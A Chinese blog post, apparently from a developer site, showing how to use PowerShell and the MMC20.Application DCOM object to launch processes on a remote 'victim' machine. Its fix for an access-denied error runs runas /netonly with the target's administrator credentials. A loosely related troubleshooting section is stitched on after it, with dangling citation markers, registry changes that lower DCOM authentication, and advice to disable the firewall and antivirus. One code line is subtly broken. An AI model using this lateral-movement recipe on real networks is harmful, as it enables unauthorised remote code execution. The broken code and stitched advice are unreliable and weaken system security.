MMC20.Application远程创建DCOM对象,拒绝访问0x80070005

本文介绍了如何通过PowerShell利用MMC20.DCOM对象在远程机器上启动进程,以及遇到的0x8007005权限错误。解决方法是使用runas命令以目标机器的管理员凭证运行PowerShell,从而成功激活远程DCOM对象并执行命令。此技术涉及到远程操作和系统权限控制。

关于利用MMC20这个DCOM对象启动进程的方法,网上已经有不少文章了。

我在测试在远程目标机器上创建MMC20对象时,始终提示0x8007005错误

PS测试代码:

$com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.198.133"));
$com = Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Calc.exe","0","0","0")

在攻击者机器上打开powershell输入上面命令,提示没权限激活远程dcom对象

使用“1”个参数调用“CreateInstance”时发生异常:“从计算机 192.168.198.133 中在 COM 类工厂内检索 CLSID 为 {49B2791A-B1AE-4C90-9B8E-E860BA07F889} 的远程组件失败,原因是出现以下错误:
 80070005 192.168.198.133。”
所在位置 行:1 字符: 1
+ $com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.A ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : UnauthorizedAccessException

虽然知道出错原因,需要在执行命令时,带入目标机器的管理员用户凭证;

最终通过runas命令解决了这个问题,具体步骤如下:

首先在攻击者机器上,打开cmd,输入以下命令:

runas /netonly /user:victim\administrator powershell

参数解释:

  • victim为目标机器的电脑名称
  • administrator为目标机器的管理员用户

然后根据提示输入目标机器administrator管理员用户的密码;

随后会在攻击者机器上弹出一个powershell窗口,这个powershell控制台默认是带了凭证的,在这个窗口执行前面的ps代码,就可以在目标机器上创建任意进程了;

参考资料:

  • https://github.com/SecureAuthCorp/impacket/blob/master/examples/dcomexec.py
  • http://talvinen.hatenablog.com/entry/2017/01/10/204132
  • https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P3-Exploitation.html
  • https://www.anquanke.com/post/id/215960
  • https://www.blackhat.com/eu-18/briefings/schedule/#network-defender-archeology-an-nsm-case-study-in-lateral-movement-with-dcom-12534
### 解决 DCOM 权限错误 0x80070005 的方法 对于遇到的 DCOM 错误 `0x80070005`,这通常表示访问被拒绝。此问题可能源于应用程序试图通过分布式组件对象模型(DCOM)调用远程过程却未能获得必要的权限。 #### 修改注册表设置 为了允许特定的应用程序或进程拥有足够的权限来执行所需的DCOM操作,可以调整Windows系统的本地安全策略或是直接修改注册表中的相应键值[^1]。 ```powershell Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\OLE' -Name 'EnableDCOM' -Value 'Y' Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\OLE' -Name 'LegacyAuthenticationLevel' -Value 2 ``` #### 配置 DCOM CNFG 设置 进入 **控制面板 -> 管理工具 -> 组件服务** ,找到并右击想要更改属性的服务,在弹出菜单中选择“属性”,切换到安全性标签页下做如下设定: - 启动交互选项:自定义,并指定启动身份验证级别以及运行该应用的身份; - 访问权限:点击编辑按钮增加需要授权的对象及其权限等级; - 调用者身份验证级别设为包级(Package Level)[^2]; #### 创建桌面文件夹并赋予适当权限 创建目录 `"C:\Windows\SysWOW64\config\systemprofile\Desktop"` 或者针对32位操作系统则是 `"C:\Windows\System32\config\systemprofile\Desktop"` 。接着给这个新建立好的Desktop文件夹分配完全控制权给相应的用户账户比如"IIS AppPool\DefaultAppPool"。 #### 安全性和兼容性考量 考虑到某些情况下可能是由于防病毒软件干扰所致,则建议暂时禁用防火墙和杀毒程序测试是否依旧存在问题。另外,更新至最新版的操作系统补丁也可能有助于解决问题[^3]。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值